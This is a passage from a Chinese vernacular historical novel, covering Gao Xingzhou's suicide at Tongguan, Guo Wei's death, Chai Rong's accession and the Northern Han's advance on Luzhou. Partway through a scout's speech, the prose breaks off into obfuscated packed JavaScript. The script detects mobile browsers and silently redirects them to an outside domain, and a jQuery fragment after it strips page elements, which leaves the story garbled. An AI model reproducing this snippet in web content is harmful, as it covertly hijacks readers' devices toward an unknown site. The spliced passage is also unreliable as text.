“你还年轻,又没受过汉主的官职,没必要跟我一起送死。”高行周看着儿子,眼神里满是不舍,“你赶紧收拾行李,带着你母亲回山东老家去,找块地种田过日子,也能保住咱们高家的血脉。日后要是你弟弟怀亮回来了,你们兄弟俩要和睦相处,好好孝顺你母亲,就当是替我尽孝了。” 原来高行周有两个儿子,大儿子是高怀德,小儿子高怀亮从小就失散了,这么多年一直没找到。高怀德一听父亲要让自己走,当场就跪了下来,眼眶通红:“爹,我不走!您病成这样,我要是走了,谁来照顾您?而且郭威是咱们的仇人,我要跟您一起守潼关,杀贼报仇!” “糊涂!”高行周把他扶起来,声音有些沙哑,“守潼关是我的责任,可你不一样,你还有很长的路要走。高家不能断了根,你必须走!”他语气坚定,容不得半分反驳。高怀德知道父亲的脾气,只能含着泪点头。 高夫人躲在门外,听见父子俩的对话,早就哭成了泪人。她回到房里,一边收拾行李,一边抹眼泪。高怀德看着母亲的背影,悄悄从墙上取下父亲的那把“青锋剑”——这是高行周年轻时征战用的剑,剑刃锋利,还刻着“忠君报国”四个字。他把剑裹在包袱里,对高行周说:“爹,这剑我带着,以后我一定用它杀贼,替您和汉主报仇!” 高行周看着那把剑,眼圈也红了,却只是拍了拍儿子的肩膀:“路上小心,照顾好你母亲。” 第二天一早,高怀德扶着母亲上了马车。岳元福亲自送他们到城门口,递给他一袋银子:“公子,这是我攒的一点心意,路上用得着。要是遇到难处,就往潼关送信,我一定想办法帮你。”高怀德接过银子,深深鞠了一躬:“多谢岳将军,您也要多保重,照顾好我爹。” 马车缓缓驶离,高行周站在城楼上,看着儿子和妻子的背影越来越小,忍不住咳嗽起来,咳得胸口发疼。他知道,这一别,说不定就是永别了。 又过了几天,高行周的病还没好,这天正坐在后堂的椅子上,看着窗外的潼关城楼发呆,突然听见关外传來一阵震天的炮响。没过多久,探子就跑进来禀报:“元帅!周主郭威派了兵马前来攻打潼关,现在已经在城外安营了,请您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519310|186248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定夺!” 高行周皱紧眉头,心里嘀咕:郭威刚篡了位,手下哪有什么能打的将领?竟然敢来攻潼关,这不是自寻死路吗?他打发探子下去,赏了些银子,让他继续盯着。可没过多久,又有两个探子接连来报,说周兵已经把潼关团团围住,还在关外叫阵。 高行周气得咬牙切齿,指着汴梁的方向骂:“郭威你这贼子!竟敢趁我生病来犯我潼关,你当我高行周是好欺负的?就算我病了,也能打得你片甲不留!”他当即传下命令:“关上再加派兵力,日夜巡逻,不许有半点儿懈怠!多备些灰瓶、石子,要是周兵攻城,就用这些打退他们!等我病好了,再亲自领兵出去杀贼!” 中军官领命而去,高行周又觉得不放心,叫来了探事人:“你悄悄出城,去打听一下,领兵的到底是谁,叫什么名字。” 探事人乔装成百姓,偷偷溜出潼关,直到天黑才回来,气喘吁吁地禀报:“元帅,小的打听清楚了,领兵的那人现在还没有官职,是前汉主殿前都指挥赵弘殷的大儿子,名叫赵匡胤!” “赵匡胤?”高行周一听这个名字,心里猛地一震。他年轻时和赵弘殷是同僚,一起为汉主效力,见过几次赵匡胤。那时候赵匡胤才十几岁,跟着赵弘殷来潼关,高行周就觉得这孩子天庭饱满、地阁方圆,是个大富大贵的面相——他年轻时曾学过《麻衣神相》,研究得十分透彻,看人的祸福寿夭从来没错过。后来他还跟赵弘殷打趣:“你这儿子,以后怕是要比咱们都强啊!” 可他怎么也没想到,如今赵匡胤竟然领着周兵来打自己。高行周坐在椅子上,手指轻轻敲着扶手,心里五味杂陈:要是换了别人领兵,他根本不放在眼里,可赵匡胤有帝皇之相,命大福厚,跟他对阵,自己怕是讨不到好,说不定还要损兵折将。这难道真是天意?天意要灭我高行周,灭这潼关? 他越想越愁,晚饭也没吃几口,就回房休息了。可躺在床上,翻来覆去怎么也睡不着,心里乱糟糟的。到了三更天,他索性披了件披风,起身走到天井里,抬头看天象。只见夜空晴朗,明星点点,可周营方向的星星却亮得刺眼,而代表自己的那颗主星,却暗淡无光,像要掉下来似的。 高行周心里一紧,一股气往上冲,冷风一吹,又觉得头晕目眩,站都站不稳。他赶紧扶住旁边的栏杆,闭着眼缓了好一会儿,才慢慢稳住心神。丫鬟听见动静,跑出来扶他回房:“元帅,夜里凉,您还是回房躺着吧,别冻着了。” 高行周点点头,被丫鬟扶着躺回榻上,闭上眼睛,心里却更慌了:赵匡胤有天命相助,我又病成这样,这潼关,恐怕是守不住了…… 再说赵匡胤领着大军到了潼关,安下营寨后,本以为高行周会很快领兵出来迎战,可没想到,一连等了十天,潼关的城门都没开过一次,连个探马都没出来。赵匡胤心里犯了嘀咕,怕高行周暗中调兵,设下埋伏,赶紧派细作人去四处打听。 细作人回来禀报,说潼关四周都没动静,高行周好像一直在帅府里养病,没管军务。赵匡胤这才稍微放心,可又犯了愁:潼关是陕西、河南、山西三省的交界地,路又窄又险,人称“鸡鸣三省,金斗潼关”,真可谓“一人把守,万夫难入”,硬攻根本没用。 他在营里踱来踱去,忍不住骂道:“那个苗光义,之前在王府里说得天花乱坠,说我运道来了,逢凶化吉,还说我一到潼关就能打赢。可现在都十天了,高行周连面都不露,这不是骗我吗?” 旁边的郑恩听了,赶紧劝:“二哥,你别着急啊!苗先生算得可准了,上次在野雞林,他说咱们能脱险,咱们不就脱险了吗?再等等,肯定会有动静的。” “等?怎么等?”赵匡胤停下脚步,指着营外的粮草堆,“咱们带的粮草不多了,再等下去,士兵们都要饿肚子了!行军打仗,讲究的是神速,要是再拖延,士兵们的士气就散了,高行周再趁机设个计,咱们就完了!” 郑恩挠了挠头,突然眼睛一亮:“二哥,我有办法!你忘了上次在野雞林,韩通那小子缩在营里不出来,还是我一顿痛骂,把他骂出来的吗?这次对付高行周,也用这招!保管把他骂出来!” 赵匡胤一想,也没别的办法,只好点头:“那好吧,就麻烦三弟跑一趟。” 郑恩一听,乐了,扛起身边的酸枣棍,翻身上了一匹黑马,大声说:“二哥你等着,我这就去把高行周那老东西骂出来!”说完,就打马往潼关方向去了。 到了关下,郑恩勒住马,举起酸枣棍指着城楼上的士兵喊:“你们赶紧去告诉高行周,就说爷爷郑恩来了!让他快出来受死!郭威那贼子篡汉,他不报仇,缩在城里当缩头乌龟,还算什么英雄?要是再不敢出来,爷爷就拆了他的潼关,把他抓去给汉主抵命!” 城楼上的士兵赶紧跑回去禀报,可高行周病得厉害,连起身都费劲,只能对士兵说:“别理他,好好守着城门,等我病好了再说。” 郑恩在关下骂了整整一天,嗓子都喊哑了,城楼上还是没动静,只好悻悻地回了营。接下来的四五天,他天天去关下骂阵,可潼关始终紧闭,连个回应都没有。 高行周手下的将士们可慌了,周兵天天在关外骂,说得越来越难听,将士们的士气一天比一天低。有几个将领实在忍不住,跑到帅府禀报:“元帅,周兵天天这么骂,咱们要是再不出战,士兵们都要撑不住了!” 高行周躺在床上,听着将领们的话,心里又羞又气,猛地坐起身,大叫一声:“气杀我也!”他一把推开上前搀扶的丫鬟,对左右说:“传我的命令,打开城门!我要亲自领兵出去,跟赵匡胤决一死战!” 这一去,可有好戏看了——就算有再多的计谋,也难挽回已经注定的天意;就算有万夫不当之勇,也挡不住迎面而来的兵势。正是:空有守土报国的壮志,如今也只能燃起舍身赴死的决心。 到底高行周领兵出战后,战况如何?咱们且听下回分解。 46. 第 46 章 话说高行周这几日病得快要垮了,胸口像压着块烧红的铁,每喘口气都带着疼,连握笔批军报的力气都没有,更别说去校场看士兵操练了。他只能躺在帅府后院的软榻上,盖着两层厚棉被,还是觉得浑身发冷。贴身侍卫秦忠端着药碗进来时,他正睁着眼盯着帐顶的花纹发呆——这帐子还是当年汉主赏赐的,绣着腾飞的金龙,如今看着却只剩满眼的衰败。 “元帅,药熬好了,您趁热喝了吧。”秦忠把药碗递到床边,声音放得极轻。他跟着高行周快二十年了,从高行周十四岁斩王彦章那会儿就跟着,还从没见自家元帅病成这样——脸颊陷下去,眼窝发黑,连说话都得断断续续喘着气。 高行周抬手想接碗,胳膊却软得像棉花,秦忠赶紧凑上前,用小银勺舀着药,一点点喂到他嘴里。刚喂了两勺,院外突然传来一阵急促的脚步声,是探马连滚带爬地跑进来,跪在廊下喊:“元帅!不好了!周兵在关门外骂阵呢,骂得可难听了,说您是缩头乌龟,还说……还说您不敢出来,就等着他们打进潼关,把帅府烧了!” 这话像根针,猛地扎进高行周心里。他猛地坐起身,胸口的疼瞬间翻涌上来,眼前发黑,差点栽倒在榻上。秦忠赶紧扶住他,连声劝:“元帅您别气!那些周兵就是故意激您,您身子这样,犯不着跟他们置气!” 可高行周哪听得进去?他这辈子是在战场上拼出来的,从少年时跟着师父金刀禅师学兵法,到后来斩王彦章、守滑州,哪次不是冲在最前面?如今被人堵着城门骂“缩头乌龟”,比拿刀割他的肉还难受。他喘着粗气,双手攥得指节发白,声音发颤却透着狠劲:“欺人太甚!就算我病得快死了,也不能让他们这么糟蹋我高行周的名声!传我命令,打开城门,我要带兵出战!” 秦忠急得直跺脚:“元帅!您这身子怎么打仗啊?您要是有个三长两短,潼关怎么办?城里的百姓怎么办?” 高行周刚要开口,突然一阵剧痛从肋下窜上来,像有把刀在里面搅,他眼前一黑,“咕咚”一声倒回软榻上,冷汗顺着额头往下淌,连话都说不出来了。秦忠吓坏了,赶紧叫人去请军医,自己守在床边,看着高行周紧闭双眼、嘴唇发紫的样子,眼圈都红了。 过了好一会儿,高行周才缓缓睁开眼,眼神里没了刚才的狠劲,只剩满满的无奈。他叹了口气,声音轻得像风:“秦忠啊,我知道我这病好不了了……当初我不该把怀德打发回山东老家,现在身边连个能替我撑事的人都没有。潼关要是丢了,我还有什么脸去见地下的汉主?” 他越说越难受,突然想起师父当年教他的马前神课——师父说这神课能断吉凶,当年史建瑭用前定数算准了自己的归期,王朴用大六壬数算准了汉运兴衰,他这马前神课,却从来没敢算自己的结局。如今到了这一步,也只能赌一把了。 “秦忠,你去把香案摆上,再拿八个金钱来。”高行周撑着身子坐起来,秦忠虽不解,却还是赶紧照办——他知道元帅决定的事,没人能改。 香案很快摆好了,设在堂屋正中,点燃的线香冒着袅袅青烟,映得高行周的脸越发苍白。秦忠扶着他走到香案前,他颤巍巍地跪下,双手捧着八个金钱,举过头顶,声音带着一丝祈求:“关圣帝君在上,弟子高行周,今年五十四岁,六月十三日午时出生。如今郭威篡汉,建周称帝,弟子死守潼关,不肯降贼。可弟子病重,不能出战,求帝君指条明路——若弟子能得善终,便显青龙吉兆;若该死于兵刃,便显白虎凶爻。” 说完,他把金钱放进盒子里,摇了三下,“哗啦”一声倒在桌上。秦忠凑过去看,只见八个金钱里,有五个背面朝上,三个正面朝上,正是白虎当头、丧门临位的凶卦。 高行周看清楚后,身子猛地一僵,脸色瞬间变得像金纸一样白,嘴唇也紫了。他踉跄着后退一步,秦忠赶紧扶住他,只听他喃喃自语:“原来我竟是这样的结局……落在郭威那贼子手里,还不如自己了断,至少能保个清白名声。” 他回到软榻上,又想起当年滑州之战——那时候他把郭威打得落花流水,眼看就能活捉郭威,却因为汉主一道圣旨,不得不撤兵回朝。要是那时候不听圣旨,直接杀了郭威,哪有今天的事?还有怀德,要是怀德在身边,就算自己病了,怀德也能守住潼关……越想越后悔,越想越难受,不知不觉间,太阳已经落了山,月光从窗纸透进来,洒在地上,像一层霜。 秦忠点上油灯,屋里昏昏暗暗的。高行周突然坐起来,眼神变得坚定:“秦忠,你去拿纸笔来,我要写封信。” 秦忠赶紧取来纸笔,高行周撑着身子,一笔一划地写——他的手在抖,字却写得工工整整,信是写给赵匡胤的。写完后,他把信折好,封进信封,在上面写“高行周留书,付与赵公子开拆”,然后递给秦忠:“你把这封信收好,等赵匡胤进了城,亲手交给他,千万别弄丢了。” 秦忠接过信,心里咯噔一下,隐约觉得不对劲,却还是点头:“元帅您放心,我一定送到。” 高行周又看向窗外,朝着山东的方向,轻声喊:“夫人,怀德,怀亮……我这辈子对不住你们,不能再陪你们了。若有来生,咱们再做一家人。” 喊完,他猛地伸手,拔出腰上的宝剑——这剑还是当年斩王彦章时用的,剑身寒光闪闪,映着他的脸。他盯着宝剑,又想起自己这辈子杀过的人,打过的仗,突然笑了一声,笑声里满是凄凉:“高行周啊高行周,你这辈子在战场上杀了多少人,如今轮到自己了,怎么倒像个娘们似的?别让人笑话!” 他深吸一口气,双手握剑,猛地把剑横在脖子上。秦忠在旁边看得魂都飞了,扑过去想拦,却已经晚了——只听“噗嗤”一声,鲜血喷溅在地上,高行周的身体晃了晃,却没倒,还是坐在软榻上,眼睛睁着,像是还在盯着潼关的方向。 秦忠“扑通”一声跪在地上,抱着高行周的腿,哭得撕心裂肺:“元帅!元帅您怎么就这么去了啊!” 第二天一早,秦忠红着眼眶,把高行周自刎的消息告诉了副元帅岳元福。岳元福一听,赶紧带着手下将领往帅府跑,刚进堂屋,就看见高行周坐在软榻上,脖子上的伤口还在渗血,手里握着剑,尸身直挺挺的,没倒。 众将领都惊呆了,有的忍不住抹眼泪——高行周在军中威望极高,待下属向来宽厚,如今就这么没了,谁心里都不好受。岳元福叹了口气,对众人说:“各位将军,元帅没了,潼关没了主心骨,咱们兵力不足,根本挡不住周兵。依我看,不如暂时投降,至少能保住城里百姓的性命。听说周天子郭威宽宏大量,应该不会为难咱们。” 他话音刚落,旁边一个年轻将领“啪”地一拍桌子,站了起来——这将领叫李锐,才二十多岁,是高行周一手提拔起来的,性子最是刚烈。“岳将军!您怎么能说这种话!元帅为了守潼关,连命都丢了,咱们要是投降,怎么对得起元帅的在天之灵?就算拼到最后一个人,也不能降!” 李锐这话一出,不少将领都点头附和——他们都是跟着高行周打了多年仗的,哪甘心就这么投降?岳元福皱着眉,耐心劝:“李将军,我知道你忠心,但咱们得现实点。周兵人多势众,咱们连个主帅都没有,硬拼的话,不仅咱们活不了,城里的老百姓也要遭罪。元帅要是在天有灵,也不会希望看到这样的结果。” 双方争论了半天,最后还是大多数将领同意投降——他们不是怕死,是不想让高行周用命守护的潼关,变成一片火海。李锐见众人都同意,也没再坚持,只是红着眼眶,走到高行周的尸身前,磕了三个响头:“元帅,末将无能,不能守住潼关,只能先投降,日后若有机会,一定为您报仇!” 岳元福见众人达成一致,赶紧让人写降书,又命人准备香花烛烛,自己带着众将领,打开潼关城门,往周营去投降。 周营里,赵匡胤正和郑恩、李通商量怎么攻城——他知道高行周是个硬骨头,潼关又易守难攻,真打起来,不知道要折多少人手。突然听到士兵来报,说岳元福带着众将领来投降,还说高行周自刎了,他愣了一下,心里又惊又喜。 他赶紧让人把岳元福请进来,接过降书一看,才确认是真的。心里暗暗松了口气:“高将军是我的救命恩人,当年我在滑州落难,被郭威的人追杀,是他偷偷放我走的。要是他真守着潼关不放手,我还真不好办。如今他自刎,也算是帮了我一把。” 赵匡胤准了岳元福的投降,把大营交给董龙、董虎看管,自己带着郑恩、李通、周霸、杜二公,跟着岳元福进了潼关。刚进帅府,就看见高行周坐在软榻上,尸身没倒,手里还握着剑。 郑恩性子粗,忍不住嘀咕:“二哥,你看这老小子,人死了还坐着,瞪着眼看咱们,怪吓人的。” 赵匡胤瞪了他一眼:“别胡说!高将军是盖世英雄,忠心耿耿,就算死了,元神也不散,这是舍不得潼关啊。” 他往前走了几步,突然看见案上放着一封封好的信,上面写着“高行周留书,付与赵公子开拆”。他心里纳闷,拿起信,拆开一看,里面的字虽然有些抖,却写得清清楚楚——高行周在信里说,当年和他父亲赵弘殷是拜把兄弟,还说看他有帝王之相,如今自己自刎,是为了成全他的功劳,只求他日后能照顾自己的儿子高怀德。 赵匡胤看完信,鼻子一酸,想起当年被高行周所救的情景——那时候他才二十岁,刚从家里跑出来,不懂世事,得罪了郭威的侄子,被追杀得走投无路,是高行周把他藏在帅府的柴房里,还给了他盘缠,让他赶紧离开滑州。没想到如今,恩人却为了守节,自刎而死。 他赶紧让人准备香烛纸锭,对着高行周的尸身跪下,恭恭敬敬地磕了三个头,心里默念:“高将军,您放心,日后我若真能有出头之日,一定好好照顾怀德,让他有机会建功立业,不辜负您的托付。” 刚磕完头,就听“扑通”一声,高行周的尸身突然倒在地上。众人都惊呆了,赵匡胤却明白——高行周是英灵不散,等着他的承诺,如今见他答应了,才肯安心离去。 他站起身,对岳元福说:“高元帅一生忠勇,不能让他死得不明不白。你们赶紧找口好棺材,用沉香刻个人头,装在他的尸身上,好好安葬。至于他的首级,我得带回京复命,还请各位体谅。” 岳元福赶紧点头,让人去准备。赵匡胤又让人把高行周的首级装进金漆木桶里,妥善收好,然后才开始安排潼关的事——他把帅印交给岳元福,让他暂时管理潼关的军政事务,又叮嘱了几句,才带着人离开帅府。 第二天一早,赵匡胤下令拔寨班师。士兵们听说不用打仗就拿下了潼关,都高兴得不得了,敲着锣,打着鼓,一路唱着凯歌往回走。郑恩骑着马,跟在赵匡胤旁边,一会儿说要回去喝顿好酒,一会儿说要去看赵府的小侄子,乐得合不拢嘴。 走到太行山时,赵匡胤想起杜二公还在山上,就跟杜二公商量,让他带着家眷一起回东京。杜二公一听,赶紧点头——他早就不想当山贼了,能跟着赵匡胤回东京,做个良民,再好不过。 他回到山寨,把剩下的粮食、钱财都分给了喽啰们,对他们说:“兄弟们,我要跟着赵将军回东京了 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酒席刚开,赵匡胤就想起家里的父母,心里惦记,只喝了两杯,就跟柴荣告辞,往家里赶。刚到家门口,就看见父亲赵弘殷、母亲杜氏,还有弟弟赵匡义,都站在门口等他。他赶紧跑过去,跪在父母面前:“爹,娘,孩儿回来了!” 赵弘殷扶起他,看着他风尘仆仆的样子,眼眶都红了:“回来就好,回来就好!你这孩子,带着罪去打仗,我和你娘天天担心,生怕你有个三长两短。” 一家人正说着话,杜二公带着妻子、女儿也到了——杜二公是杜氏的弟弟,也就是赵匡胤的舅舅。杜氏一见弟弟,赶紧拉着他的手,问长问短,一家人团聚,热闹得不得了。赵弘殷让人加了菜,又摆了一桌酒席,庆祝一家人团圆。 第二天一早,周主郭威上朝,文武百官都来了。赵匡胤在朝门外等着,黄门官进去通报后,郭威让人把他宣进殿里。赵匡胤跪在金阶下,把收降董龙、董虎,拿下潼关,高行周自刎的事,一五一十地说了一遍。 郭威听了,心里有点不信——高行周是他最忌惮的人,当年在滑州,他差点被高行周活捉,怎么会这么容易就自刎了?他皱着眉问:“赵匡胤,你说高行周自刎了,他的首级呢?” “回万岁,首级就在午门外,装在金漆木桶里。”赵匡胤回答。 郭威赶紧传旨,让人把首级拿进来。承御官很快就把木桶抬进殿里,近侍打开桶盖,把首级取出来,放在盒子里,送到郭威面前。郭威仔细一看——这首级确实是高行周的,眉眼和当年一模一样,只是脸色苍白,没了生气。 他突然想起当年滑州之战的情景——那时候高行周拿着长枪,追得他满山跑,差点就把他挑死。如今高行周死了,他心里又恨又怕,忍不住指着首级骂:“高行周!你这辈子跟我作对,如今还不是死在我手里?你当年的威风去哪了?” 话音刚落,突然发生了一件怪事——高行周的首级突然睁开眼睛,眉毛动了动,嘴巴一张,“呼”地喷出一股黑气,直朝着郭威扑过去。郭威吓得“啊”地叫了一声,往后一仰,从龙椅上摔了下来,双手乱抓,两腿蹬了蹬,就昏了过去。 殿里的文武百官都惊呆了,赶紧围过去,喊着“万岁”。内侍们慌慌张张地把郭威扶起来,抬进后宫。柴娘娘听说郭威昏了,赶紧带着宫妃跑过来,哭着喊“万岁”,可郭威就是不醒。她赶紧让人去请太医院的太医,太医来了,诊了脉,说是受了惊吓,气血攻心,开了药方,让人赶紧煎药。 柴荣留在后宫伺候郭威,又让人出去安抚百官,说万岁只是受了惊,没大事,让大家先回去。百官们心里都七上八下的,却也只能各自散去。 郭威喝了药,到半夜才醒过来,可身子还是很虚弱,只能躺在龙床上静养。柴荣天天在床边伺候,寸步不离。郭威知道自己病得重,就把朝中的大小事务,都交给柴荣处理。百官们见柴荣掌权,心里才踏实了些——柴荣向来宽厚,又有能力,比郭威靠谱多了。 过了几天,郭威稍微好了点,就召来术士吕宗一,问他自己的病什么时候能好。吕宗一掐着手指头算,然后说:“万岁,您这病是因为箕星犯了分野,要想痊愈,得散财作福,筑坛祭天,禳解灾星才行。” 郭威赶紧让柴荣照着办。柴荣让人在城西筑了圜丘社稷坛和太庙,选了十月初一那天,让郭威去祭天。可郭威病得太重,连坐都坐不稳,只能让柴荣代替他祭拜。祭完天,郭威在西郊住了一晚,病情突然又加重了,差点没挺过来,到半夜才稍微好转。 第二天,百官在祭殿里给郭威问安,郭威让柴荣扶着他,勉强坐了一会儿,就又昏昏沉沉地睡着了。柴荣只能让人把他抬回宫里,然后下旨,让自己全权处理朝中的军政事务。 又过了几天,郭威在寝殿里召见百官,商量国家大事。正说着,一个中官突然凑到他耳边,小声说:“万岁,前几天您祭天的时候,赏给士兵的钱财不均,有些士兵心里有怨气,您可得赶紧查查,别出乱子。” 郭威本来就病得心烦,一听这话,顿时火冒三丈,拍着龙床喊:“反了!反了!这些士兵竟敢抱怨!传我旨意,把那些有怨气的士兵都抓起来,从严处置!” 他这一怒,病情又加重了,咳嗽着说不出话来。柴荣赶紧劝:“父皇,您别生气,这事我来处理,您先好好养病。” 郭威瞪着眼睛,想说什么,却又咳了起来。百官们都低着头,不敢说话——他们知道,郭威这一怒,恐怕又要出乱子了。 到底郭威会怎么处置那些士兵?柴荣又能不能稳住局面?咱们下回再说。 47. 第 47 章 话说周太祖郭威自从上次郊祭时,被高行周首级的怨气冲了身子,就落下了重病。虽说卧病在宫,可他心里始终惦记着朝政,每天再难受也得叫人把奏章念给他听。这天午后,他刚喝完药,皇后柴氏就端着一碗参汤进来,脸色带着几分忧色:“陛下,方才中宫的侍卫来报,说营里的士兵私下抱怨赏赐不均,好些人都在说闲话呢。” 郭威一听,顿时来了气,撑着病体坐起来,让李公公去传文武百官。没一会儿,范质、冯道这些大臣都跪在殿内,郭威指着龙椅旁的锦凳,声音沙哑却带着威严:“朕自即位以来,穿的是旧布袍,吃的是粗米粥,行军时跟士兵们一起睡帐篷,你们哪个没看见?现在倒好,底下人敢背后怨朕,朕倒要问问,你们这些管着兵将的大臣,到底是没管好手下,还是自己也存了私心?” 大臣们都低着头不敢吭声,冯道颤巍巍地磕了个头:“陛下息怒,定是底下人不懂陛下的苦心,臣等这就去查,绝不让流言乱了军心。”郭威哼了一声,让冯道牵头去查,最后查出是几个老兵油子在挑事,当即下令把这几人斩了示众,营里的流言才算平息下去。 另一边,赵匡胤正和义弟郑恩在自家府里的演武场练骑射。郑恩骑在马上,拉弓射偏了靶心,气得他拍了下马背:“二哥,这破弓老是不听话,再练下去我胳膊都要断了!”赵匡胤笑着拍了拍他的肩膀:“三弟别急,你刚学骑射没几天,能射到靶边就不错了。走,我带你去个地方散散心。” 两人骑着马出了城,没走多久就看见前面有座高楼,飞檐翘角,上面挂着块“戏龙楼”的匾额。赵匡胤勒住马:“这楼是前朝建的,站在上面能看见半个京城,咱们上去逛逛。”郑恩一听来了劲,催着马就往楼前跑。 两人上了楼,郑恩趴在栏杆上,指着远处的农田嚷嚷:“二哥你看,那片地跟俺老家的一样,春天的时候全是绿油油的麦子!”赵匡胤没接话,他走到楼的后厅,刚要抬头看梁上的雕花,突然瞥见一根画梁上缠着条乌黑的龙——那龙鳞片发亮,爪子张开,嘴里还吐着淡淡的黑气,看着奄奄一息却透着股凶劲。 赵匡胤瞬间想起上次在禅州遇到的乌龙,当时差点被那怪物害死,现在见了又气又怕,咬牙骂道:“好你个怪物,上次没弄死你,这次还敢来吓我!”他伸手解下腰间的鸾带,用力一抖,那鸾带瞬间变成了一根手臂粗的神煞棍。他握紧棍子,踮起脚对着乌龙的腰就打了过去,只听“嘭”的一声,棍子结结实实地砸在龙身上。 乌龙吃了痛,身子猛地一扭,卷起一阵黑风就从窗户飞了出去,眨眼就没了踪影。赵匡胤握着棍子愣了半天,才缓过神来,走到前厅跟郑恩说了这事。郑恩眼睛瞪得溜圆:“啥?乌龙?二哥你没骗俺吧?早知道俺就跟你去后厅了,也好帮你打它!”赵匡胤笑着摇摇头,拉着他下了楼,心里却犯嘀咕:这乌龙接连出现,怕不是有啥预兆。 没过几天,郭威的病越来越重,连说话都费劲了。宫里的大事小情,全靠晋王柴荣(郭威的养子)传话处理。柴荣每天守在床边,衣服都不敢脱,饭也吃不下几口。这天傍晚,郭威突然清醒了些,他拉着柴荣的手,喘着气说:“儿啊,朕怕是不行了……方才朕梦到自己上了戏龙楼,被一个红脸大汉打了一棍,醒了之后浑身都疼,看来这就是天数啊。” 柴荣眼泪一下子就掉了下来,哽咽着说:“父皇您别乱说,您一定会好起来的。”郭威摇了摇头,接着说:“朕死之后,你可千万别学那些亡国之君。上次朕西征,看见前朝的十八座皇陵全被人挖了,就是因为里面埋了太多金银珠宝。你就用粗布给朕裹身子,找口瓦棺装着,坟里别用石头,用砖头砌就行。找两个工匠来修坟,按规矩给工钱,别麻烦老百姓。坟修好后,找三十户人家守着,免了他们的差役,不用派宫女守陵,也别立石羊石马那些东西,就立块石碑,上面写‘周天子平生好俭,遗命用布衣瓦棺’,这样朕才能安心。” 说完这话,郭威头一歪就没了气。他在位三年,死时五十三岁。柴后和柴荣哭得死去活来,宫里的人也都跪着哭。第二天,范质召集大臣们商量后事,他抹着眼泪说:“先帝驾崩,天下不能没有君主,臣提议让晋王登基,以安民心。”大臣们都同意,柴荣就这样当了皇帝,也就是周世宗,改年号为显德。 柴荣即位后,封冯道为太师,其他大臣也都留着原来的职位。他把郭威葬在新郑,追谥为太祖皇帝,又尊柴后为太后。朝政上的大事,他都要先跟太后商量再做决定。心里想着要给赵匡胤和郑恩封个大官,就去跟太后说这事。 太后叹了口气,摸着椅子上的花纹说:“先帝生前两次梦到被红脸大汉伤害,虽说只是梦,可也是元神不安啊。现在北汉和南唐还没归顺,等平定了其中一方,再给他们封王封侯也不迟。”柴荣听了太后的话,只好把这事搁下,连带着董龙、董虎那些投降的将领也没得到封赏。不过大臣们都知道赵匡胤和郑恩是皇帝的义弟,见了他们都恭恭敬敬地叫“御弟”,没人敢不服。 郑恩心里却犯了嘀咕,这天他拉着赵匡胤的袖子说:“二哥,柴大哥以前说好了,等他当了皇帝就封你为王,封俺为侯,现在咋没动静了?他是不是忘了?”赵匡胤拍了拍他的手,耐心地说:“三弟你不知道,大哥也跟太后提过这事,可太后说先帝的梦是个忌讳,现在封官怕先帝不安。古人说‘三年无改于父之道,可视为孝’,大哥这是孝顺。再说了,现在北汉和南唐还没打下来,等咱们立了功,还怕没有爵位吗?还有,你以后在宫里得注意礼仪,见了大哥要叫‘圣上’或‘陛下’,不能再叫‘大哥’‘俺’了,要是犯了错,国法可不留情。” 郑恩点点头,心里虽有点不服气,可也知道赵匡胤是为他好。从那以后,他每天都在赵匡胤府里学礼仪,跟着先生认汉字,慢慢改掉了以前的粗鲁性子,连说话都斯文了些。 没过多久,北汉君主刘崇就听说了郭威去世的消息,高兴得拍着桌子大笑:“郭威那贼子篡了俺刘家的天下,俺早就想报仇了,现在他死了,正是俺夺回中原的好机会!”他立刻召集文武大臣,跟他们商量借兵的事。大臣张丞相皱着眉说:“陛下,契丹人向来贪得无厌,借他们的兵怕是要付出大代价啊。”刘崇摆了摆手:“只要能报仇,多给点金帛算啥?” 他派使臣带着满满两车金帛去契丹,见到契丹君主后,又哭又求,说要借兵报仇。契丹君主见了金帛,笑得合不拢嘴,当即派耶律奇为元帅,杨襄为先锋,带两万精兵去帮北汉。耶律奇和杨襄接到命令,当天就带着兵往晋阳赶。 刘崇见契丹兵到了,心里更有底了,封白从辉为元帅,张元暉为先锋,让长子刘承钧和亲军使丁贵守晋阳,自己带着两万大军,跟契丹兵合兵一处,往潞州杀去。 潞州守将李筠听说刘崇带着契丹兵来了,赶紧召集将领们商量对策。大将穆令均站出来,拍着胸脯说:“元帅您别担心,北汉的兵都是些乌合之众,俺愿带五千精兵出城,一定把刘崇活捉回来!”李筠高兴得直点头,立刻下令让穆令均点兵。 穆令均回到营里,副将王勇劝他:“将军,北汉借了契丹兵,来势汹汹,咱们还是先守城,等朝廷援兵来了再打吧。”穆令均摇摇头:“俺跟刘崇那贼子有仇,这次正好报仇,再说了,要是等援兵来,功劳就不是俺的了。”他当天就点好兵,准备第二天出战。 这边刘崇听说穆令均要出城,就跟张元暉商量:“潞州的兵向来胆小,你带一万兵去巴山原埋伏,等穆令均追过来,你就带兵出来夹攻,准能赢。”张元暉领了命,带着兵悄悄去了巴山原。刘崇又叫过杨襄:“你带五千兵去应战,记住,只许败不许胜,把穆令均引到埋伏圈里。”杨襄答应着去了。 第二天一早,潞州城门大开,穆令均骑着马,手持长枪,带着五千兵冲了出来。他在阵前勒住马,指着杨襄骂:“你这反贼,敢来犯俺的边界!赶紧退兵,俺还能饶你一命,要是不识相,俺让你片甲不留!”杨襄气得脸色发青,拍马舞刀就冲了过去,穆令均举枪迎战。 两人打了十几个回合,杨襄故意卖了个破绽,虚晃一刀,拨转马头就跑。穆令均哪里肯放,催着马就追了上去。刚追到巴山原,突然听到一声炮响,张元暉带着伏兵从旁边冲了出来,杨襄也掉转马头杀了回来。穆令均心里一惊,想退兵已经来不及了,被张元暉一刀砍中胸口,从马上摔了下来,当场就没了气。 